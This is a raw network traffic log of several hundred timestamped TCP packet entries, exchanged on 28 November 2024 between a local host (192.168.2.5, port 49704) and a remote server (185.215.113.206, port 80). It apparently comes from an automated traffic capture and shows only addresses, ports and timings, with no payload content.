Nov 28, 2024 06:48:07.928411961 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.928548098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.928589106 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.929440975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.929486036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.929550886 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.929589987 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.930401087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.930444002 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.930449009 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.930486917 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.931382895 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.931426048 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.931492090 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.931529999 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.932387114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.932425976 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.932478905 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.932518005 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.933399916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.933442116 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.933497906 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.933537960 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.934398890 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.934448004 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.934499025 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.934541941 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.935425997 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.935475111 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.935550928 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.935594082 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.936456919 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.936512947 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.936646938 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.936692953 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.937391996 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.937438965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.970583916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.970632076 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.970716000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.970716953 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.970740080 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.970763922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.970803022 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.971703053 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.971756935 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.971810102 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.971856117 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.972727060 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.972771883 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.972839117 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.972893953 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.973731995 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.973779917 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.973828077 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.973875046 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.974726915 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.974771023 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.974812031 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.974858046 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.975733042 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.975778103 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.975811958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.975852966 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.976738930 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.976795912 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.976824999 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.976869106 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.977739096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.977785110 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.977818966 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.977865934 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.978740931 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.978792906 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.978827000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.978880882 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.979763985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.979809046 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.979870081 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.979912996 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.980776072 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.980820894 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.980880976 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.980941057 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.981755972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.981806993 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.981839895 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.981903076 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.982764006 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.982810974 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.982886076 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.982930899 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.983778000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.983820915 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.983835936 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.983877897 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.984808922 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.984858036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.984921932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.984963894 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.985817909 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.985868931 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.985903978 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.985949039 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.053425074 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.053492069 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.053553104 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.053600073 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.053915977 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.053961039 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.054045916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.054099083 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.054904938 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.054949999 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.055031061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.055074930 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.055948019 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.056001902 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.056036949 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.056080103 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.056940079 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.056987047 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.057025909 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.057075977 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.057959080 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.058007002 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.058036089 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.058078051 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.058947086 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.058991909 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.059091091 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.059137106 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.059972048 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.060015917 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.060075045 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.060118914 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.060950994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.060997009 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.061058044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.061103106 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.061953068 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.062000036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.062074900 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.062118053 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.062971115 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.063015938 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.063070059 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.063113928 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.063988924 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.064053059 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.064085960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.064130068 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.064990997 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.065040112 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.065077066 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.065121889 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.065985918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.066032887 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.066080093 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.066124916 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.067056894 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.067101955 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.067164898 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.067210913 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.068043947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.068089962 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.068171978 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.068223000 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.069046021 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.069092989 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.069125891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.069171906 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.070020914 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.070067883 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.070138931 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.070187092 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.071058035 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.071103096 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.071213961 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.071258068 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.072160959 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.072207928 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.072223902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.072267056 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.073035955 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.073081970 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.073136091 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.073185921 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.074033022 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.074076891 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.074129105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.074170113 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.075068951 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.075113058 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.075184107 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.075228930 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.076042891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.076086044 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.134017944 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.134083033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.134089947 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.134125948 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.134350061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.134391069 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.134569883 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.134610891 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.134670973 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.134708881 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.135586023 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.135624886 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.135688066 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.135720968 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.136598110 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.136641026 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.136698961 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.136737108 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.137622118 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.137660980 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.137748957 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.137790918 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.138598919 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.138645887 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.138654947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.138691902 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.139668941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.139708042 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.139791965 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.139837980 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.140626907 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.140666962 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.140741110 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.140779018 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.141632080 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.141674042 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.141755104 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.141792059 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.142640114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.142679930 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.142733097 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.142771006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.143640995 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.143687963 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.143826008 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.143870115 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.144742012 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.144754887 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.144784927 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.144798994 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.145659924 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.145781040 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.145781040 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.145824909 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.146625996 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.146672964 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.179384947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.179444075 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.179450035 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.179456949 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.179481983 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.179497957 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.179578066 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.179616928 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.179672003 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.179701090 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.179712057 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.179713964 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.179724932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.179740906 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.179755926 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.179769039 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.180023909 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.180035114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.180047035 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.180058002 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.180069923 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.180072069 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.180079937 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.180227995 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.180450916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.180461884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.180471897 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.180484056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.180496931 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.180587053 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.184581041 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.184602976 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.184648037 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.184674978 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.184736967 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.184748888 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.184758902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.184777021 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.184799910 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.184927940 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.184973001 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.185007095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.185050964 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.185122967 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.185133934 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.185143948 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.185169935 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.185193062 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.185523987 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.185574055 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.185595989 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.185633898 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.186537027 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.186585903 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.186621904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.186659098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.187544107 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.187553883 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.187602043 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.246390104 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.246517897 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.246516943 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.246568918 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.246735096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.246782064 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.246814966 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.246862888 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.247524023 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.247570992 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.247633934 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.247678995 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.248514891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.248560905 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.248619080 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.248662949 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.249553919 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.249600887 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.249636889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.249680996 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.250530958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.250577927 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.250612974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.250658035 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.251538992 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.251588106 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.251641989 CET	80	49704	185.215.113.206	192.168.2.5
